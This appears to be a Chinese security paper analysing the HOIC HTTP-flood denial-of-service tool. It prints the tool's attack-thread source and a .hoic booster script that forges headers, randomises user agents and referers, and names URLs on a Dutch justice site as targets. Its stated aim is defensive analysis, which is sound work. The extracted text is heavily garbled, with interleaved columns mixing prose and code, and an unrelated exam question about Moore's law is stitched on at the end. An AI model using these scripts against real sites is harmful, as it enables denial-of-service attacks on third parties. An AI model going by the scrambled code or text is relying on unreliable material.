图2 图1 OUTPUT 处的字节数对应全局变量 TotalBytesSent 是动态递增的 ( 二 ) 完成攻击目标添加后的界面见图 2 列表为已经添加的攻击目标 URL 信息强度等级脚本信息和状态 THREADS 为线程数量可以在 THREADS 处点击左右键头调整并发线程数建议有

Size: px

Start display at page:

Download "图2 图1 OUTPUT 处的字节数对应全局变量 TotalBytesSent 是动态递增的 ( 二 ) 完成攻击目标添加后的界面见图 2 列表为已经添加的攻击目标 URL 信息强度等级脚本信息和状态 THREADS 为线程数量可以在 THREADS 处点击左右键头调整并发线程数建议有"

伊茹
5 years ago
Views:

1 DoS工具HOIC的分析核心技术部陈庆安全研究院李茁摘要 : 本文是对拒绝服务攻击工具 "High Orbit Ion Cannon" 的技术性分析 HOIC 是一款用 RealBasic 开发可移植的多平台拒绝服务攻击工具该工具虽然对使用者的水平有较高要求需要了解 HTTP 协议本身但由于在 DDoS 攻击来源中具有一定代表性有必要对其分析并加以防范本文尝试通过技术性分析探讨相应的防范措施关键词 : DoS 攻击防范攻击工具分析 HTTP Flood 安全测试方案一次可同时洪水攻击高达 256 个网站一概述目前针对企业的互联网攻击日趋频繁且攻击形式不断更新内置脚本系统允许自行修改设置脚本用来阻挠 DDoS 攻击的防御措施并增加 DOS 输出但最常见的形式还是 DDoS 绿盟科技威胁响应中心通过对安全事件的分析了解到很多攻击者都采用了一种称为 High 简单且易于使用的界面 Orbit Ion Cannon 的工具这种工具可以引发拒绝服务攻击可移植到 Linux/ Mac 作为应对措施之一行业中常见的形式是建立威胁响应机制能够选择攻击的线程数以提供及时且行之有效的攻击防护分析及建议绿盟科技威胁响应可设置三种攻击强度低中高中心是迅速处理紧急事件研究漏洞与公布攻击预报的平台本文用 REALbasic 这种极其书面的语言写成简单易修改着重分析了这个工具并探讨了防范措施从而避免或降低危害及二关键功能界面损失 ( 一 ) 程序默认界面见图 1 HOIC The high orbit ion cannon 是一款基于 HTTP 协议开 TARGETS 这里是参数的设定包括强度和脚本的选择实际源的 DDOS 攻击工具可用于内部网络或者外部服务器的安全性和上 URL 这里可以不输入任何东西直接在扩展名为.hoic 的攻击脚稳定性的测试等等 HOIC 具有以下特点本中指定多个目标 URL 这样更灵活如果 URL 处保持为空在高速多线程的 HTTP 洪水攻击后续操作中会有一个警示信息出现直接确定不必理会它 62

图2 图1 OUTPUT 处的字节数对应全局变量 TotalBytesSent 是动态递增的 ( 二 ) 完成攻击目标添加后的界面见图 2 列表为已经添加的攻击目标 URL 信息强度等级

BUG 没有检查线程数的下限比如可以下调至 -1 此时没有任何攻击报文发送出去因图3 为流程根本不会到达下面那个 for 循环内部三关键功能对应源码表1 ( 一 ) 关键源码分析

append( New attackthread ) 的线程用来攻击服务器并且启动 tmturbo 控制器用来不断通过 threads( threads.ubound ).

2 图2 图1 OUTPUT 处的字节数对应全局变量 TotalBytesSent 是动态递增的 ( 二 ) 完成攻击目标添加后的界面见图 2 列表为已经添加的攻击目标 URL 信息强度等级脚本信息和状态 THREADS 为线程数量可以在 THREADS 处点击左右键头调整并发线程数建议有几个 CPU 或有几个核就设几个并发线程数多了没有意义此处程序实现上有 BUG 没有检查线程数的下限比如可以下调至 -1 此时没有任何攻击报文发送出去因图3 为流程根本不会到达下面那个 for 循环内部三关键功能对应源码表1 ( 一 ) 关键源码分析 Dim i as integer for i = 0 to Val( edtthreads.text )-1 点击 FIRE THE LAZER 之后程序会启动线程框指定个数 threads.append( New attackthread ) 的线程用来攻击服务器并且启动 tmturbo 控制器用来不断通过 threads( threads.ubound ).Run 脚本来更新 Headers 表2 ( 三 ) 攻击进行界面见图 3 if active = 1 then ToggleControlz True 目标列表显示攻击目标信息 OUTPUT 显示攻击流量数据, 63

3 txtstatus.text = "HIGH ORBIT ION CANNON STANDING BY" progwheel.visible = FALSE active = 0 tmrturbo.mode = 0 dim i as integer for i = 0 to threads.ubound threads(i).kill ' s et a l l s t a t u s e z e z t o r e a d y // Window1.lblTargets.Cell(trgt.lbIndex, 3) = "READY" for i = 0 to targets.ubound lbltargets.cell(targets(i).lbindex, 3) = "READY" next 'unlock thread count edtthreads.enabled = TRUE else ToggleControlz false txtstatus.text = "HIGH ORBIT ION CANNON ENGAGING TARGETS" progwheel.visible = true active = 1 tmrturbo.mode = 2 dim i as integer for i = 0 to Val(edtThreads.Text)-1 threads.append(new attackthread) threads(threads.ubound).run ' lock thread count edtthreads.enabled = FALSE end if attackthread // 循环遍历列表中的所有目标主机, 然后根据全局变量 powerfactor( 对应 LOW MEDIUM 和 HIGH) 的不同以不同的两次攻击报文之间的休眠时间发送攻击数据包, 并且不断在主界面同步显示发送的流量表 3 Dim i as Integer while true for i = window1.targets.ubound To 0 Step -1 window1.lbltargetscell(window1. targets(i).lbindex, 3) = "ENGAGING" if(window1.targets(i)powerfactor = 0) then App.SleepCurrentThread 250 e l s e i f w i n d o w 1. t a r g e t s ( i ). powerfactor = 1 then App.SleepCurrentThread 100 else app.sleepcurrentthread 50 end if window1.targets(i).sendattack() App.SleepCurrentThread50*(3- window1.targets(i).powerfactor) window1.lbltargetscell(window1. targets(i).lbindex, 3) = "READY" window1.edtbytes.text = "0" for i = window1.targets.ubound To 0 Step -1 w i n d o w 1. e d t B y t e s. T e x t = CStr( Val(window1.edtBy tes.tex t) + window1.targets(i).totalbytessent ) next if(val(window1.edtbytes.text) > 64

4 ) then 攻击脚本指定离开这些.hoic 文件 HOIC M oz i l l a / 5. 0 ( X11; U; L i n u x x 8 6 _ 6 4; 本身什么也干不了.hoic 脚本文件必须与 en- US; r v: ) Gecko/ Val(window1.edtBytes.Text) / HOIC 主程序位于同一目录否则会找不到 Firefox/3.6.12") )+ " gb" 脚本也是用 RealBasic 写成通过 Generic window1.edtby tes.tex t =Str( elseif(val(window1.edtbytes.text) > ) then // 操作系统及版本 CPU 类型浏览函数可以看到程序会以 RbScript 类来执行器及版本浏览器渲染引擎浏览器语言脚本文件脚本文件可以影响到程序内的变浏览器插件等信息 window1.edtby tes.tex t =Str( 量值例如程序调用下面脚本后所发送的 Headers.Append("Keep-Alive: 115") Val(window1.edtBytes.Text) / )+ 攻击数据包就会根据我们自定义的脚本中需 Headers.Append("Proxy-Connection: " mb" 要构建的 HTTP 请求数据块配置上附带的 elseif(val(window1.edtbytes.text) > 1024) then w i n d o w 1. e d t B y t e s.te x t = Str(Val(window1.edtBytes.Text) / 1024 )+ " kb" else w i n d o w 1. e d t B y t e s.te x t = window1.edtbytes.text + " kb" end if wend ( 二 ) 配置脚本分析 HOIC 本身只是一个 DoS 框架程序真正的 DoS 攻击行为通过扩展名为.hoic 的 keep-alive") 信息进行攻击服务器会根据自定义的数 Headers.Append("Referer: 据块信息把程序发送的数据包识别为正常的 global/advancedsearchaction.do") 数据包下面这些都是 HOIC 主程序预定义并 Headers.Append("Cookie: JSESSIO 使用的全局变量可以在.hoic 脚本中直接 NID=5D2E604F487FB5AC9DBF9A1FDE 使用 : A7D86A.fta-web3") Headers URL = " PostBuffer locator/global/advancedsearchaction.do" powerfactor PostBuffer = URL "newsearch=true&airport=&pageid UsePost =adv&ﬁlterednamesubmit=false&loc= 表4 en_us&country=che&street1= UsePost = true Headers.Append("User-Agent: &building=&city=aaaa 65

5 aaaaaaaaaaa&initialsearchname=&mapandlist=mapandlist&x useragents.append "Mozilla/5.0 (Windows; U; Windows =27&y=9" NT 6.1; es-es) AppleWebKit/ (KHTML, like Gecko) Hoic2.1(dev) 作者由于呼吁大家攻击一个司法网站发布此版 Version/5.0 Safari/533.16" // populate referer list 本时提供了新脚本此脚本在多个数据块中随机调用 Array 中的信息可以用来降 referers. Append "ht tp:// w w w.google.c om /?q=dutch+boy+arrested" 低攻击被检测的可能性提高攻击效果表5 referers. Append "ht tp:// w w w.google.c om / Dim useragents() as String?q=dutch+anonymous+hacker" Dim referers() as String referers. Append "ht tp://w w w.om.nl/vast _ menu _ blok / dim randheaders() as string service/" Dim randurls() as string referers.append " randurls.append " // Add random headers randu R L s. A ppend " ht t p: // w w w.om.nl /onder wer pen / randheaders.append "Cache-Control: no-cache" cybercrime/" randheaders.append "If-Modified-Since: Sat, 29 Oct 1994 randu R L s. A ppend " ht t p: // w w w.om.nl /onder wer pen / 11:59:59 GMT" voorkennis/" randheaders.append "If-Modiﬁed-Since: Tue, 18 Sep 2002 randurls.append " 10:34:27 GMT" // rotate out url randheaders.append "If-Modiﬁed-Since: Mon, 29 Oct 2007 URL = randurls(rndnumber(0, randurls.ubound)) 11:59:59 GMT" // populate list randheaders.append "If-Modiﬁed-Since: Tue, 18 Aug 2001 useragents.append "Mozilla/5.0 (Windows; U; Windows 12:54:49 GMT" NT 6.0; en-us) AppleWebKit / (KHTML, like Gecko) Headers.Append "Keep-Alive: 115" Chrome/ Safari/534.14" H eader s. A ppend "Ac c ept- Char set: I SO ,ut f- 66

6 8;q=0.7,*;q=0.7" Headers.Append "Connection: keepalive" // generate random referer Headers. Append "Referer: " + referers(rndnumber(0, referers.ubound)) // generate random user agent (DO 模板黑客们可以在此基础上编写自己的.hoic 文件入的目标 URL HOIC 的作者水平比 LOIC 的作者水平 user-agent-test.hoic 用来演示通过.hoic 指定 "User-Agent" visa_stress.hoic 顾名思义在攻击高至少是个比较熟练的 RealBasic 程序员程序 BUG 较少 HOIC 对使用者的水平有较高要求需要了解 HTTP 协议本身如果不提供现成的.hoic 文件很多使用者黑客可以建立一个网站向外发布各可能完全无法有效使用 HOIC 进行 DoS 攻种.hoic 文件别人只要下载黑客编写的.hoic 击而高水平的黑客们可以通过提供现成 Headers.Append "User-Agent: " + 文件并加载到 HOIC 中就可以进行相应的.hoic 文件利用各种小白们一起 DoS 指定 useragents(rndnumber(0, useragents. 的 DoS 攻击甚至不用输入目标 URL 如目标 UBound)) 果用户设置添加的攻击 URL 与脚本中指定四与同类流行工具的对比及特点 NOT MODIFY THIS LINE) // Generate random headers 的目标 URL 不一样此时发起攻击后会本工具与同类拒绝服务攻击工具的 Headers.Appendrandheaders(RndN 先去访问用户设置添加的攻击 URL 提交区别和特点在于可允许用户定义目标主机 6 次同样的 HTTP 请求然后再去 DoS 脚的 URL 攻击强度和自定义攻击脚本当本中设定的地址会抑制前述对话框中用用户点击 TURBO 按钮后程序会间隔户输入的 URL 从此不再攻击用户自己设置时间不断地调用用户自定义脚本来生成自 DutchFreedom.hoic 的 URL 这个设计不知是 HOIC 作者有意定义 Headers 当用户点击 FIRE THE GenericBoost.hoic 为之还是无心插柳总之结果很险恶因 LAZERS 之后程序会启动 N 个线程用来 user-agent-test.hoic 为 DutchFreedom.hoic 正是自己指定了目攻击目标主机在攻击过程中会根据用户选 visa_stress.hoic 标 URL 并且还是随 hoic.zip 自带的很择的攻击强度的不同以不同的时间间隔发 DutchFreedom.hoic 是用来攻击多小白们使用 HOIC 进行 DoS 攻击指定送数据报并且在界面上同步发送的数据包 DutchFreedom.hoic 他们最终都参与攻击的流量 umber(0, randheaders.ubound)) HOIC 2.1(dev) 版随包自带了四个.hoic 文件 : 司法网站的为 LOIC 出气 GenericBoost.hoic 相当于一个.hoic 而不是攻击他们自己输 67 可使用用户自定义 Headers 来产生伪造

7 的 Header 比如自行添加修改 sessionid 或 cookie 信息可以对某些设置过滤或阻隔的站点同样进行有效攻击优点是灵活多变攻击的数据包都是正常的数据包攻击请求都是有效的无法拒绝的请求缺点是不能攻击其他服务端口此软件不支持代理无法改变攻击来源使用真实 IP 进行攻击但可通过第三方软件实现代理伪造攻击来源仍然需要大量分散的主机在同一时间集中进行攻击效果才更显著五软件在网络上流量特征攻击来源只有一台主机此主机发出大量的数据包占用了大量流量非常异常这台主机发包的目标主机只有一个同时其发包的时间间隔极短是典型的网络攻击行为攻击采用的是合法协议均是通过 HTTP 协议攻击目标主机固定端口 80 端口此种攻击和正常访问网站是一样的只是瞬间访问量增加几十倍甚至上百倍六软件历史沿革 The high orbit ion cannon Current Release: 2.1(dev) 2010/12/10 The high orbit ion cannon Current Release: /12/09 68

<4D F736F F D D342DA57CA7DEA447B14D2DA475B57BBB50BADEB27AC3FEB14DA447B8D5C344>

<4D F736F F D D342DA57CA7DEA447B14D2DA475B57BBB50BADEB27AC3FEB14DA447B8D5C344> 1. 請問誰提出積體電路 (IC) 上可容納的電晶體數目, 約每隔 24 個月 (1975 年更改為 18 個月 ) 便會增加一倍, 效能也將提升一倍, 也揭示了資訊科技進步的速度? (A) 英特爾 (Intel) 公司創始人戈登. 摩爾 (Gordon Moore) (B) 微軟 (Microsoft)